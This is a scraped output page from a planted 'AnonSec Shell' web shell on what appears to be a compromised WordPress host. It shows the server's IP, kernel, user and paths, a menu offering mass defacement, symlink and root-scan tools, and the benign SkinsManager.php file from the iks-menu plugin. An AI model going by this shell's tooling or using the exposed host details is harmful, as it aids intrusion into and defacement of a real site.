AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/razzlestore/public_html/wp-content/plugins/iks-menu/includes/core/skins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/razzlestore/public_html/wp-content/plugins/iks-menu/includes/core/skins/SkinsManager.php
<?php

/**
 * IksStudio Core
 *
 *
 * @package   IksStudio Core
 * @author    IksStudio
 * @license   GPL-3.0
 * @link      https://iks-studio.com
 * @copyright 2019 IksStudio
 */
namespace IksStudio\IKSM_CORE\skins;

use IksStudio\IKSM_CORE\Plugin;
use IksStudio\IKSM_CORE\utils\RemoteFetchController;
use IksStudio\IKSM_CORE\utils\Utils;
class SkinsManager extends RemoteFetchController {
    /**
     * @var string|null
     */
    private $server = null;

    /**
     * SkinsManager constructor.
     *
     */
    public function __construct() {
        $servers = Plugin::$skins_servers;
        $this->server = ( Utils::is_production() ? $servers['prod'] : $servers['dev'] );
        parent::__construct( $this->server, true );
    }

    /**
     * @param $id number id of skin
     *
     * @return array
     */
    public function get_skin( $id ) {
        $request = [
            "id" => $id,
        ];
        return $this->fetch( $request );
    }

    /**
     * @param $tag string tag to filter skins
     *
     * @return array skins
     */
    public function get_skins( $tag = null ) {
        $response = $this->fetch( [
            "data"           => "1",
            "tag"            => $tag,
            "plugin_version" => Plugin::$version,
        ] );
        if ( $response["success"] ) {
            $data = Utils::safe_json_parse( $response["data"] );
            $skins = Utils::get( $data, "skins" );
            foreach ( $skins as $index => $skin ) {
                $skin = (array) $skin;
                $id = $skin["id"];
                $skin["image"] = "{$this->server}images/{$id}.png?version=" . Plugin::$version;
                $skins[$index] = $skin;
            }
            $response["data"] = $skins;
            $response["recommended_version"] = Utils::get( $data, "recommended_version" );
        }
        return $response;
    }

    /**
     * @return array tags
     */
    public function get_tags() {
        return $this->fetch( [
            "tags" => "1",
        ] );
    }

}

Anon7 - 2022
AnonSec Team